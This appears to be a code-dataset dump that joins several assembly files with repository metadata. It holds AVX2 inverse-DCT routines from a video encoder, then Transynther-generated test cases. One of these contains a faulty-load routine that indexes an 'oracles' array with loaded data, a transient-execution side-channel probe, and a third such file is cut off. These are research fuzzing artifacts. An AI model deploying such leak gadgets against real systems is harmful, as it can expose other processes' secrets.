punpckldq m1, m5 ;[10 30 50 70 11 31 51 71 14 34 54 74 15 35 55 75]
punpckhdq m5, m2, m6 ;[92 112 132 152 93 113 133 153 96 116 136 156 97 117 137 157]
punpckldq m2, m6 ;[90 110 130 150 91 111 131 151 94 114 134 154 95 115 135 155]
punpckhqdq m6, m0, m8 ;[01 21 41 61 81 101 121 141 05 25 45 65 85 105 125 145]
punpcklqdq m0, m8 ;[00 20 40 60 80 100 120 140 04 24 44 64 84 104 124 144]
punpckhqdq m8, m7, m4 ;[03 23 43 63 43 103 123 143 07 27 47 67 87 107 127 147]
punpcklqdq m7, m4 ;[02 22 42 62 82 102 122 142 06 26 46 66 86 106 126 146]
punpckhqdq m4, m1, m2 ;[11 31 51 71 91 111 131 151 15 35 55 75 95 115 135 155]
punpcklqdq m1, m2 ;[10 30 50 70 90 110 130 150 14 34 54 74 94 114 134 154]
punpckhqdq m2, m3, m5 ;[13 33 53 73 93 113 133 153 17 37 57 77 97 117 137 157]
punpcklqdq m3, m5 ;[12 32 52 72 92 112 132 152 16 36 56 76 96 116 136 156]
IDCT_PASS1 0, 14
IDCT_PASS1 2, 12
IDCT_PASS1 4, 10
IDCT_PASS1 6, 8
add r0, 16
add r3, 16
dec r4d
jnz .pass1
mov r3, rsp
mov r4d, 8
lea r5, [tab_idct16_2]
lea r6, [tab_idct16_1]
vbroadcasti128 m7, [r5]
vbroadcasti128 m8, [r5 + 16]
vbroadcasti128 m9, [r5 + 32]
vbroadcasti128 m10, [r5 + 48]
vbroadcasti128 m11, [r5 + 64]
vbroadcasti128 m12, [r5 + 80]
vbroadcasti128 m13, [r5 + 96]
.pass2:
movu m1, [r3]
vpermq m0, m1, 0xD8
pmaddwd m1, m0, m7
pmaddwd m2, m0, m8
phaddd m1, m2
pmaddwd m2, m0, m9
pmaddwd m3, m0, m10
phaddd m2, m3
phaddd m1, m2
pmaddwd m2, m0, m11
pmaddwd m3, m0, m12
phaddd m2, m3
vbroadcasti128 m14, [r5 + 112]
pmaddwd m3, m0, m13
pmaddwd m4, m0, m14
phaddd m3, m4
phaddd m2, m3
movu m3, [r3 + 32]
vpermq m0, m3, 0xD8
vbroadcasti128 m14, [r6]
pmaddwd m3, m0, m14
vbroadcasti128 m14, [r6 + 16]
pmaddwd m4, m0, m14
phaddd m3, m4
vbroadcasti128 m14, [r6 + 32]
pmaddwd m4, m0, m14
vbroadcasti128 m14, [r6 + 48]
pmaddwd m5, m0, m14
phaddd m4, m5
phaddd m3, m4
vbroadcasti128 m14, [r6 + 64]
pmaddwd m4, m0, m14
vbroadcasti128 m14, [r6 + 80]
pmaddwd m5, m0, m14
phaddd m4, m5
vbroadcasti128 m14, [r6 + 96]
pmaddwd m6, m0, m14
vbroadcasti128 m14, [r6 + 112]
pmaddwd m0, m14
phaddd m6, m0
phaddd m4, m6
paddd m5, m1, m3
paddd m5, m15
psrad m5, IDCT_SHIFT2
psubd m1, m3
paddd m1, m15
psrad m1, IDCT_SHIFT2
paddd m6, m2, m4
paddd m6, m15
psrad m6, IDCT_SHIFT2
psubd m2, m4
paddd m2, m15
psrad m2, IDCT_SHIFT2
packssdw m5, m6
packssdw m1, m2
pshufb m2, m1, [dct16_shuf1]
mova [r1], xm5
mova [r1 + 16], xm2
vextracti128 [r1 + r2], m5, 1
vextracti128 [r1 + r2 + 16], m2, 1
lea r1, [r1 + 2 * r2]
add r3, 64
dec r4d
jnz .pass2
RET
%macro IDCT32_PASS1 1
vbroadcasti128 m3, [tab_idct32_1 + %1 * 32]
vbroadcasti128 m13, [tab_idct32_1 + %1 * 32 + 16]
pmaddwd m9, m4, m3
pmaddwd m10, m8, m13
phaddd m9, m10
pmaddwd m10, m2, m3
pmaddwd m11, m1, m13
phaddd m10, m11
phaddd m9, m10
vbroadcasti128 m3, [tab_idct32_1 + (15 - %1) * 32]
vbroadcasti128 m13, [tab_idct32_1 + (15- %1) * 32 + 16]
pmaddwd m10, m4, m3
pmaddwd m11, m8, m13
phaddd m10, m11
pmaddwd m11, m2, m3
pmaddwd m12, m1, m13
phaddd m11, m12
phaddd m10, m11
phaddd m9, m10 ;[row0s0 row2s0 row0s15 row2s15 row1s0 row3s0 row1s15 row3s15]
vbroadcasti128 m3, [tab_idct32_2 + %1 * 16]
pmaddwd m10, m0, m3
pmaddwd m11, m7, m3
phaddd m10, m11
phaddd m10, m10
vbroadcasti128 m3, [tab_idct32_3 + %1 * 16]
pmaddwd m11, m5, m3
pmaddwd m12, m6, m3
phaddd m11, m12
phaddd m11, m11
paddd m12, m10, m11 ;[row0a0 row2a0 NIL NIL row1sa0 row3a0 NIL NIL]
psubd m10, m11 ;[row0a15 row2a15 NIL NIL row1a15 row3a15 NIL NIL]
punpcklqdq m12, m10 ;[row0a0 row2a0 row0a15 row2a15 row1a0 row3a0 row1a15 row3a15]
paddd m10, m9, m12
paddd m10, m15
psrad m10, IDCT_SHIFT1
psubd m12, m9
paddd m12, m15
psrad m12, IDCT_SHIFT1
packssdw m10, m12
vextracti128 xm12, m10, 1
movd [r3 + %1 * 64], xm10
movd [r3 + 32 + %1 * 64], xm12
pextrd [r4 - %1 * 64], xm10, 1
pextrd [r4+ 32 - %1 * 64], xm12, 1
pextrd [r3 + 16 * 64 + %1 *64], xm10, 3
pextrd [r3 + 16 * 64 + 32 + %1 * 64], xm12, 3
pextrd [r4 + 16 * 64 - %1 * 64], xm10, 2
pextrd [r4 + 16 * 64 + 32 - %1 * 64], xm12, 2
%endmacro
;-------------------------------------------------------
; void idct32(const int16_t* src, int16_t* dst, intptr_t dstStride)
;-------------------------------------------------------
; TODO: Reduce PHADDD instruction by PADDD
INIT_YMM avx2
cglobal idct32, 3, 6, 16, 0-32*64
%define IDCT_SHIFT1 7
vbroadcasti128 m15, [pd_64]
mov r3, rsp
lea r4, [r3 + 15 * 64]
mov r5d, 8
.pass1:
movq xm0, [r0 + 2 * 64]
movq xm1, [r0 + 18 * 64]
punpcklqdq xm0, xm0, xm1
movq xm1, [r0 + 0 * 64]
movq xm2, [r0 + 16 * 64]
punpcklqdq xm1, xm1, xm2
vinserti128 m0, m0, xm1, 1 ;[2 18 0 16]
movq xm1, [r0 + 1 * 64]
movq xm2, [r0 + 9 * 64]
punpcklqdq xm1, xm1, xm2
movq xm2, [r0 + 17 * 64]
movq xm3, [r0 + 25 * 64]
punpcklqdq xm2, xm2, xm3
vinserti128 m1, m1, xm2, 1 ;[1 9 17 25]
movq xm2, [r0 + 6 * 64]
movq xm3, [r0 + 22 * 64]
punpcklqdq xm2, xm2, xm3
movq xm3, [r0 + 4 * 64]
movq xm4, [r0 + 20 * 64]
punpcklqdq xm3, xm3, xm4
vinserti128 m2, m2, xm3, 1 ;[6 22 4 20]
movq xm3, [r0 + 3 * 64]
movq xm4, [r0 + 11 * 64]
punpcklqdq xm3, xm3, xm4
movq xm4, [r0 + 19 * 64]
movq xm5, [r0 + 27 * 64]
punpcklqdq xm4, xm4, xm5
vinserti128 m3, m3, xm4, 1 ;[3 11 17 25]
movq xm4, [r0 + 10 * 64]
movq xm5, [r0 + 26 * 64]
punpcklqdq xm4, xm4, xm5
movq xm5, [r0 + 8 * 64]
movq xm6, [r0 + 24 * 64]
punpcklqdq xm5, xm5, xm6
vinserti128 m4, m4, xm5, 1 ;[10 26 8 24]
movq xm5, [r0 + 5 * 64]
movq xm6, [r0 + 13 * 64]
punpcklqdq xm5, xm5, xm6
movq xm6, [r0 + 21 * 64]
movq xm7, [r0 + 29 * 64]
punpcklqdq xm6, xm6, xm7
vinserti128 m5, m5, xm6, 1 ;[5 13 21 9]
movq xm6, [r0 + 14 * 64]
movq xm7, [r0 + 30 * 64]
punpcklqdq xm6, xm6, xm7
movq xm7, [r0 + 12 * 64]
movq xm8, [r0 + 28 * 64]
punpcklqdq xm7, xm7, xm8
vinserti128 m6, m6, xm7, 1 ;[14 30 12 28]
movq xm7, [r0 + 7 * 64]
movq xm8, [r0 + 15 * 64]
punpcklqdq xm7, xm7, xm8
movq xm8, [r0 + 23 * 64]
movq xm9, [r0 + 31 * 64]
punpcklqdq xm8, xm8, xm9
vinserti128 m7, m7, xm8, 1 ;[7 15 23 31]
punpckhwd m8, m0, m2 ;[18 22 16 20]
punpcklwd m0, m2 ;[2 6 0 4]
punpckhwd m2, m1, m3 ;[9 11 25 27]
punpcklwd m1, m3 ;[1 3 17 19]
punpckhwd m3, m4, m6 ;[26 30 24 28]
punpcklwd m4, m6 ;[10 14 8 12]
punpckhwd m6, m5, m7 ;[13 15 29 31]
punpcklwd m5, m7 ;[5 7 21 23]
punpckhdq m7, m0, m4 ;[22 62 102 142 23 63 103 143 02 42 82 122 03 43 83 123]
punpckldq m0, m4 ;[20 60 100 140 21 61 101 141 00 40 80 120 01 41 81 121]
punpckhdq m4, m8, m3 ;[182 222 262 302 183 223 263 303 162 202 242 282 163 203 243 283]
punpckldq m8, m3 ;[180 220 260 300 181 221 261 301 160 200 240 280 161 201 241 281]
punpckhdq m3, m1, m5 ;[12 32 52 72 13 33 53 73 172 192 212 232 173 193 213 233]
punpckldq m1, m5 ;[10 30 50 70 11 31 51 71 170 190 210 230 171 191 211 231]
punpckhdq m5, m2, m6 ;[92 112 132 152 93 113 133 153 252 272 292 312 253 273 293 313]
punpckldq m2, m6 ;[90 110 130 150 91 111 131 151 250 270 290 310 251 271 291 311]
punpckhqdq m6, m0, m8 ;[21 61 101 141 181 221 261 301 01 41 81 121 161 201 241 281]
punpcklqdq m0, m8 ;[20 60 100 140 180 220 260 300 00 40 80 120 160 200 240 280]
punpckhqdq m8, m7, m4 ;[23 63 103 143 183 223 263 303 03 43 83 123 163 203 243 283]
punpcklqdq m7, m4 ;[22 62 102 142 182 222 262 302 02 42 82 122 162 202 242 282]
punpckhqdq m4, m1, m2 ;[11 31 51 71 91 111 131 151 171 191 211 231 251 271 291 311]
punpcklqdq m1, m2 ;[10 30 50 70 90 110 130 150 170 190 210 230 250 270 290 310]
punpckhqdq m2, m3, m5 ;[13 33 53 73 93 113 133 153 173 193 213 233 253 273 293 313]
punpcklqdq m3, m5 ;[12 32 52 72 92 112 132 152 172 192 212 232 252 272 292 312]
vperm2i128 m5, m0, m6, 0x20 ;[20 60 100 140 180 220 260 300 21 61 101 141 181 221 261 301]
vperm2i128 m0, m0, m6, 0x31 ;[00 40 80 120 160 200 240 280 01 41 81 121 161 201 241 281]
vperm2i128 m6, m7, m8, 0x20 ;[22 62 102 142 182 222 262 302 23 63 103 143 183 223 263 303]
vperm2i128 m7, m7, m8, 0x31 ;[02 42 82 122 162 202 242 282 03 43 83 123 163 203 243 283]
vperm2i128 m8, m1, m4, 0x31 ;[170 190 210 230 250 270 290 310 171 191 211 231 251 271 291 311]
vperm2i128 m4, m1, m4, 0x20 ;[10 30 50 70 90 110 130 150 11 31 51 71 91 111 131 151]
vperm2i128 m1, m3, m2, 0x31 ;[172 192 212 232 252 272 292 312 173 193 213 233 253 273 293 313]
vperm2i128 m2, m3, m2, 0x20 ;[12 32 52 72 92 112 132 152 13 33 53 73 93 113 133 153]
IDCT32_PASS1 0
IDCT32_PASS1 1
IDCT32_PASS1 2
IDCT32_PASS1 3
IDCT32_PASS1 4
IDCT32_PASS1 5
IDCT32_PASS1 6
IDCT32_PASS1 7
add r0, 8
add r3, 4
add r4, 4
dec r5d
jnz .pass1
%if BIT_DEPTH == 12
%define IDCT_SHIFT2 8
vpbroadcastd m15, [pd_128]
%elif BIT_DEPTH == 10
%define IDCT_SHIFT2 10
vpbroadcastd m15, [pd_512]
%elif BIT_DEPTH == 8
%define IDCT_SHIFT2 12
vpbroadcastd m15, [pd_2048]
%else
%error Unsupported BIT_DEPTH!
%endif
mov r3, rsp
add r2d, r2d
mov r4d, 32
mova m7, [tab_idct32_4]
mova m8, [tab_idct32_4 + 32]
mova m9, [tab_idct32_4 + 64]
mova m10, [tab_idct32_4 + 96]
mova m11, [tab_idct32_4 + 128]
mova m12, [tab_idct32_4 + 160]
mova m13, [tab_idct32_4 + 192]
mova m14, [tab_idct32_4 + 224]
.pass2:
movu m0, [r3]
movu m1, [r3 + 32]
pmaddwd m2, m0, m7
pmaddwd m3, m0, m8
phaddd m2, m3
pmaddwd m3, m0, m9
pmaddwd m4, m0, m10
phaddd m3, m4
phaddd m2, m3
pmaddwd m3, m0, m11
pmaddwd m4, m0, m12
phaddd m3, m4
pmaddwd m4, m0, m13
pmaddwd m5, m0, m14
phaddd m4, m5
phaddd m3, m4
vperm2i128 m4, m2, m3, 0x31
vperm2i128 m2, m2, m3, 0x20
paddd m2, m4
pmaddwd m3, m0, [tab_idct32_4 + 256]
pmaddwd m4, m0, [tab_idct32_4 + 288]
phaddd m3, m4
pmaddwd m4, m0, [tab_idct32_4 + 320]
pmaddwd m5, m0, [tab_idct32_4 + 352]
phaddd m4, m5
phaddd m3, m4
pmaddwd m4, m0, [tab_idct32_4 + 384]
pmaddwd m5, m0, [tab_idct32_4 + 416]
phaddd m4, m5
pmaddwd m5, m0, [tab_idct32_4 + 448]
pmaddwd m0, [tab_idct32_4 + 480]
phaddd m5, m0
phaddd m4, m5
vperm2i128 m0, m3, m4, 0x31
vperm2i128 m3, m3, m4, 0x20
paddd m3, m0
pmaddwd m4, m1, [tab_idct32_1]
pmaddwd m0, m1, [tab_idct32_1 + 32]
phaddd m4, m0
pmaddwd m5, m1, [tab_idct32_1 + 64]
pmaddwd m0, m1, [tab_idct32_1 + 96]
phaddd m5, m0
phaddd m4, m5
pmaddwd m5, m1, [tab_idct32_1 + 128]
pmaddwd m0, m1, [tab_idct32_1 + 160]
phaddd m5, m0
pmaddwd m6, m1, [tab_idct32_1 + 192]
pmaddwd m0, m1, [tab_idct32_1 + 224]
phaddd m6, m0
phaddd m5, m6
vperm2i128 m0, m4, m5, 0x31
vperm2i128 m4, m4, m5, 0x20
paddd m4, m0
pmaddwd m5, m1, [tab_idct32_1 + 256]
pmaddwd m0, m1, [tab_idct32_1 + 288]
phaddd m5, m0
pmaddwd m6, m1, [tab_idct32_1 + 320]
pmaddwd m0, m1, [tab_idct32_1 + 352]
phaddd m6, m0
phaddd m5, m6
pmaddwd m6, m1, [tab_idct32_1 + 384]
pmaddwd m0, m1, [tab_idct32_1 + 416]
phaddd m6, m0
pmaddwd m0, m1, [tab_idct32_1 + 448]
pmaddwd m1, [tab_idct32_1 + 480]
phaddd m0, m1
phaddd m6, m0
vperm2i128 m0, m5, m6, 0x31
vperm2i128 m5, m5, m6, 0x20
paddd m5, m0
paddd m6, m2, m4
paddd m6, m15
psrad m6, IDCT_SHIFT2
psubd m2, m4
paddd m2, m15
psrad m2, IDCT_SHIFT2
paddd m4, m3, m5
paddd m4, m15
psrad m4, IDCT_SHIFT2
psubd m3, m5
paddd m3, m15
psrad m3, IDCT_SHIFT2
packssdw m6, m4
packssdw m2, m3
vpermq m6, m6, 0xD8
vpermq m2, m2, 0x8D
pshufb m2, [dct16_shuf1]
mova [r1], m6
mova [r1 + 32], m2
add r1, r2
add r3, 64
dec r4d
jnz .pass2
RET
;-------------------------------------------------------
; void idct4(const int16_t* src, int16_t* dst, intptr_t dstStride)
;-------------------------------------------------------
INIT_YMM avx2
cglobal idct4, 3, 4, 6
%define IDCT_SHIFT1 7
%if BIT_DEPTH == 12
%define IDCT_SHIFT2 8
vpbroadcastd m5, [pd_128]
%elif BIT_DEPTH == 10
%define IDCT_SHIFT2 10
vpbroadcastd m5, [pd_512]
%elif BIT_DEPTH == 8
%define IDCT_SHIFT2 12
vpbroadcastd m5, [pd_2048]
%else
%error Unsupported BIT_DEPTH!
%endif
vbroadcasti128 m4, [pd_64]
add r2d, r2d
lea r3, [r2 * 3]
movu m0, [r0] ;[00 01 02 03 10 11 12 13 20 21 22 23 30 31 32 33]
pshufb m0, [idct4_shuf1] ;[00 02 01 03 10 12 11 13 20 22 21 23 30 32 31 33]
vextracti128 xm1, m0, 1 ;[20 22 21 23 30 32 31 33]
punpcklwd xm2, xm0, xm1 ;[00 20 02 22 01 21 03 23]
punpckhwd xm0, xm1 ;[10 30 12 32 11 31 13 33]
vinserti128 m2, m2, xm2, 1 ;[00 20 02 22 01 21 03 23 00 20 02 22 01 21 03 23]
vinserti128 m0, m0, xm0, 1 ;[10 30 12 32 11 31 13 33 10 30 12 32 11 31 13 33]
mova m1, [avx2_idct4_1]
mova m3, [avx2_idct4_1 + 32]
pmaddwd m1, m2
pmaddwd m3, m0
paddd m0, m1, m3
paddd m0, m4
psrad m0, IDCT_SHIFT1 ;[00 20 10 30 01 21 11 31]
psubd m1, m3
paddd m1, m4
psrad m1, IDCT_SHIFT1 ;[03 23 13 33 02 22 12 32]
packssdw m0, m1 ;[00 20 10 30 03 23 13 33 01 21 11 31 02 22 12 32]
vmovshdup m1, m0 ;[10 30 10 30 13 33 13 33 11 31 11 31 12 32 12 32]
vmovsldup m0, m0 ;[00 20 00 20 03 23 03 23 01 21 01 21 02 22 02 22]
vpbroadcastq m2, [avx2_idct4_2]
vpbroadcastq m3, [avx2_idct4_2 + 8]
pmaddwd m0, m2
pmaddwd m1, m3
paddd m2, m0, m1
paddd m2, m5
psrad m2, IDCT_SHIFT2 ;[00 01 10 11 30 31 20 21]
psubd m0, m1
paddd m0, m5
psrad m0, IDCT_SHIFT2 ;[03 02 13 12 33 32 23 22]
pshufb m0, [idct4_shuf2] ;[02 03 12 13 32 33 22 23]
punpcklqdq m1, m2, m0 ;[00 01 02 03 10 11 12 13]
punpckhqdq m2, m0 ;[30 31 32 33 20 21 22 23]
packssdw m1, m2 ;[00 01 02 03 30 31 32 33 10 11 12 13 20 21 22 23]
vextracti128 xm0, m1, 1
movq [r1], xm1
movq [r1 + r2], xm0
movhps [r1 + 2 * r2], xm0
movhps [r1 + r3], xm1
RET
%endif
| 33.00863 | 114 | 0.407685 |
616351734d5ee95954ee2b17b23ed707b4c0ec49 | 6,916 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_18045_119.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_18045_119.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_18045_119.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x2d80, %r12
nop
nop
nop
dec %rcx
movw $0x6162, (%r12)
nop
sub %r12, %r12
lea addresses_normal_ht+0xa580, %rsi
lea addresses_WC_ht+0x5102, %rdi
nop
nop
dec %r14
mov $25, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %r14
lea addresses_D_ht+0x12d80, %rdi
nop
nop
nop
nop
nop
inc %r14
movl $0x61626364, (%rdi)
nop
nop
nop
nop
add %r10, %r10
lea addresses_UC_ht+0x15b80, %r14
nop
nop
nop
sub %rbx, %rbx
mov $0x6162636465666768, %r12
movq %r12, %xmm5
vmovups %ymm5, (%r14)
nop
nop
nop
and %rdi, %rdi
lea addresses_WT_ht+0xff20, %rsi
nop
nop
nop
dec %rbx
mov $0x6162636465666768, %r10
movq %r10, %xmm0
vmovups %ymm0, (%rsi)
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0xdde4, %rsi
lea addresses_A_ht+0xcca0, %rdi
nop
cmp %r10, %r10
mov $82, %rcx
rep movsb
nop
nop
inc %rdi
lea addresses_WT_ht+0xd0a8, %rdi
nop
nop
nop
nop
sub $64156, %rsi
mov (%rdi), %r12w
nop
xor $41722, %rsi
lea addresses_UC_ht+0x4080, %r10
sub $62167, %rcx
movw $0x6162, (%r10)
nop
nop
sub $20638, %rdi
lea addresses_normal_ht+0x9b40, %rbx
nop
nop
nop
nop
lfence
movb (%rbx), %r12b
nop
nop
cmp $3109, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r8
push %r9
push %rbx
push %rdi
// Store
lea addresses_A+0x154c8, %r9
nop
nop
nop
nop
nop
sub %r10, %r10
movl $0x51525354, (%r9)
nop
dec %rbx
// Store
lea addresses_US+0x2668, %r11
nop
nop
nop
nop
nop
add %r8, %r8
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
movaps %xmm7, (%r11)
nop
nop
nop
nop
sub %r11, %r11
// Store
lea addresses_normal+0x1125e, %r8
clflush (%r8)
nop
nop
nop
nop
add %r14, %r14
movw $0x5152, (%r8)
nop
nop
and $12147, %r11
// Faulty Load
lea addresses_US+0x17580, %r10
clflush (%r10)
nop
nop
nop
nop
dec %r11
mov (%r10), %edi
lea oracles, %r14
and $0xff, %rdi
shlq $12, %rdi
mov (%r14,%rdi,1), %rdi
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'00': 18045}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.25 | 2,999 | 0.657316 |
adb47fd3e3f347eee227e13050d30996f6b4f7db | 8,304 | asm | Assembly | Transynther/x86/_processed/NC/_ht_st_zr_un_sm_/i7-8650U_0xd2_notsx.log_4788_2.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_ht_st_zr_un_sm_/i7-8650U_0xd2_notsx.log_4788_2.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_ht_st_zr_un_sm_/i7-8650U_0xd2_notsx.log_4788_2.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1a345, %rsi
lea addresses_D_ht+0x152f9, %rdi
and %r8, %r8
mov $27, %rcx
rep movsw
cmp %rbx, %rbx
lea addresses_WT_ht+0x7345, %r10
nop
nop
add %r13, %r13
movb (%r10), %bl
nop
nop
nop
nop
nop
sub $18834, %r8
lea addresses_D_ht+0x3479, %rbx
nop
nop
nop
and $38045, %r13
movl $0x61626364, (%rbx)
nop
nop
nop
inc %r8
lea addresses_WC_ht+0xe045, %r8
inc %r10
movl $0x61626364, (%r8)
nop
nop
inc %r13
lea addresses_A_ht+0x19345, %rdi
nop
sub $15295, %r13
movw $0x6162, (%rdi)
cmp $3329, %r13
lea addresses_D_ht+0xce85, %rsi
lea addresses_normal_ht+0x145d5, %rdi
nop
nop
nop
nop
nop
xor $29926, %rbp
mov $70, %rcx
rep movsq
nop
cmp %rsi, %rsi
lea addresses_UC_ht+0x6f05, %r8
nop
nop
nop
and %rsi, %rsi
vmovups (%r8), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rbp
nop
nop
sub $4837, %rbx
lea addresses_A_ht+0x12295, %rsi
